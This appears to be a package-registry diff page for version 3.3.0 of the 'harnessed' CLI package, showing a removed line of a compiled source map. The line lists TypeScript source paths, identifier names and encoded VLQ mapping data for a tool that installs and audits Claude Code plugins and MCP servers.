harnessed 3.2.0 → 3.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +36 -35
- package/dist/cli.mjs +10 -38
- package/dist/cli.mjs.map +1 -1
- package/dist/index.mjs +1 -1
- package/dist/index.mjs.map +1 -1
- package/package.json +1 -1
- package/workflows/auto/SKILL.md +4 -6
- package/workflows/auto/workflow.yaml +1 -1
package/dist/cli.mjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/cli/lib/origin-check.ts","../src/installers/lib/harnessedRoot.ts","../src/cli/lib/probe-gstack.ts","../src/manifest/lib/path-guard.ts","../src/types/schemaVersion.ts","../src/manifest/schema/aliases.v1.ts","../src/manifest/aliases.ts","../src/cli/lib/check-deprecations.ts","../src/checkpoint/schema/checkpoint.v1.ts","../src/checkpoint/schema/currentWorkflow.v1.ts","../src/checkpoint/schema/index.ts","../src/checkpoint/template.ts","../src/cli/lib/check-token-budget.ts","../src/cli/lib/checkAgentTeams.ts","../src/cli/lib/check-agent-teams-doctor.ts","../src/cli/lib/check-planning-with-files.ts","../src/checkpoint/state.ts","../src/manifest/schema/known-good.v1.ts","../src/manifest/knownGood.ts","../src/checkpoint/resume.ts","../package.json","../src/manifest/errors.ts","../src/manifest/schema/metadata.ts","../src/manifest/schema/installMethods/ccHookAdd.ts","../src/manifest/schema/installMethods/ccPluginMarketplace.ts","../src/manifest/schema/installMethods/gitCloneWithSetup.ts","../src/manifest/schema/installMethods/mcpHttpAdd.ts","../src/manifest/schema/installMethods/mcpStdioAdd.ts","../src/manifest/schema/installMethods/npmCli.ts","../src/manifest/schema/installMethods/npxSkillInstaller.ts","../src/manifest/schema/installMethods/index.ts","../src/manifest/schema/spec.ts","../src/manifest/schema/index.ts","../src/manifest/security.ts","../src/manifest/validate.ts","../src/cli/lib/audit-helpers.ts","../src/cli/audit.ts","../src/cli/audit-log.ts","../src/installers/lib/backup.ts","../src/cli/backup-list.ts","../src/cli/doctor.ts","../src/workflow/schema/discipline.ts","../src/workflow/disciplineLoader.ts","../src/discipline/enforcement/before-commit.ts","../src/routing/completionSchema.ts","../src/routing/systemPrompt.ts","../src/routing/agentDefinition.ts","../src/routing/dag.ts","../src/routing/decisionRules.ts","../src/audit/log.ts","../src/audit/hook.ts","../src/checkpoint/engineHook.ts","../src/routing/lib/fallbackHandlers.ts","../src/routing/lib/promiseExtract.ts","../src/routing/lib/ralphLoop.ts","../src/routing/lib/sdkReconcile.ts","../src/routing/lib/sdkSpawn.ts","../src/routing/lib/skillInstall.ts","../src/routing/semanticRouter.ts","../src/routing/engine.ts","../src/workflow/schema/phases.ts","../src/workflow/schema/workflow.ts","../src/workflow/schema/workflow.v2.ts","../src/workflow/loadPhases.ts","../src/cli/lib/validateFlags.ts","../src/cli/execute-task.ts","../src/cli/gc.ts","../src/installers/lib/confirm.ts","../src/installers/lib/diff.ts","../src/installers/lib/err.ts","../src/installers/lib/preflight.ts","../src/installers/lib/state.ts","../src/installers/ccHookAdd.ts","../src/installers/lib/readClaudeConfig.ts","../src/installers/lib/runClaudeArgs.ts","../src/installers/lib/safeCwd.ts","../src/installers/ccPluginMarketplace.ts","../src/installers/lib/spawn.ts","../src/installers/gitCloneWithSetup.ts","../src/installers/mcpHttpAdd.ts","../src/installers/mcpStdioAdd.ts","../src/installers/npmCli.ts","../src/installers/npxSkillInstaller.ts","../src/installers/index.ts","../src/cli/install.ts","../src/cli/lib/packagePath.ts","../src/cli/install-base.ts","../src/cli/manifest-add.ts","../src/cli/research.ts","../src/cli/resume.ts","../src/cli/rollback.ts","../src/cli/lib/setup-helpers.ts","../src/cli/lib/scan-nested.ts","../src/cli/setup.ts","../src/cli/status.ts","../src/cli/uninstall.ts","../src/uninstallers/lib/runOrPreview.ts","../src/uninstallers/ccHookAdd.ts","../src/uninstallers/ccPluginMarketplace.ts","../src/uninstallers/gitCloneWithSetup.ts","../src/uninstallers/mcpHttpAdd.ts","../src/uninstallers/mcpStdioAdd.ts","../src/uninstallers/npmCli.ts","../src/uninstallers/npxSkillInstaller.ts","../src/uninstallers/index.ts","../src/cli.ts"],"names":["join","spawnSync","Type","existsSync","readFileSync","Value","mkdirSync","dirname","homedir","resolve","readFile","readdir","mkdir","writeFile","_cache","parse","err","GIT_REF_PATTERN","p","program","backup","checkOrigin","probeGstackPrefix","checkDeprecations","checkTokenBudget","basename","parseYaml","isInstalled","T","ajv","Ajv","_compiled","getValidator","parseDocument","auditPath","createHash","match","spawn","ModelTier","OnAction","execSync","ans","statePath","stdout","p2","resolveAlias","getPinnedVersion","writeFileSync","runResume","stat","PHASE_21","listBaseManifests","lockfile","extractCloneTarget","rm","extractSkillName","p3"],"mappings":"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